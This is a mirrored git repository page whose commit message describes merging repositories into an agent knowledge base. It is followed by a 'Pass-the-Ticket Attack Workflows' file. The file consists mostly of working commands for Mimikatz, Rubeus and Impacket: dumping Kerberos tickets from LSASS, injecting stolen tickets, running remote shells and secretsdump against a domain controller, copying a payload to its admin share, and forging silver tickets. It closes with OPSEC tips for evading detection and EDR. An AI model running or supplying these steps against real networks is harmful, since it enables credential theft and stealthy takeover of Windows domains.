mirror of
https://github.com/SHOGGOTH-SECTOR/sica-fondt.git
synced 2026-08-01 08:30:20 +00:00
24f816b6a3
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):
- brain/ LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
dispatch, A51 channels, and the OSINT cluster
- knowledge/ LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
MITRE ATT&CK data
- reference/ defensive threat-reference (C3, shhbruh doc) + AdaYaml parser
License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.
Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.
https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
3.0 KiB
3.0 KiB
Pass-the-Ticket Attack Workflows
Workflow 1: Mimikatz Ticket Extraction and Injection
Step 1: Export Tickets from LSASS
# Dump all Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# List exported .kirbi files
dir *.kirbi
# Identify high-value tickets (Domain Admin TGTs)
# Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi
Step 2: Inject Ticket into Session
# Purge existing tickets
mimikatz.exe "kerberos::purge" "exit"
# Or with klist
klist purge
# Import stolen ticket
mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit"
# Verify ticket is loaded
klist
Step 3: Access Resources
# Access file shares as impersonated user
dir \\dc01.domain.local\c$
# Execute commands remotely
PsExec.exe \\dc01.domain.local cmd.exe
# Access admin shares
copy payload.exe \\dc01.domain.local\c$\windows\temp\
Workflow 2: Rubeus Ticket Operations
Dump and Inject
# Dump all tickets (requires local admin)
.\Rubeus.exe dump
# Dump tickets for specific LUID
.\Rubeus.exe dump /luid:0x3e4
# Extract TGT for current user (no admin required)
.\Rubeus.exe tgtdeleg
# Inject ticket from base64
.\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket...
# Create sacrificial process with ticket
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticket
Workflow 3: Linux-Based Pass-the-Ticket (Impacket)
Convert and Use Tickets
# Convert .kirbi to .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# Set environment variable for ticket
export KRB5CCNAME=ticket.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local
# List accessible shares
impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.local
Workflow 4: Silver Ticket (Forged TGS)
# Create silver ticket with Mimikatz (requires service account NTLM hash)
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit"
# Create silver ticket with Rubeus
.\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /ptt
OPSEC Considerations
- Stolen tickets have limited lifetime (default 10 hours for TGT)
- TGT reuse from different IP may trigger advanced detection
- Silver tickets bypass the KDC entirely - harder to detect
- Use createnetonly in Rubeus to avoid overwriting legitimate tickets
- Monitor for credential guard which protects Kerberos tickets
- Be aware that some EDR solutions monitor ticket injection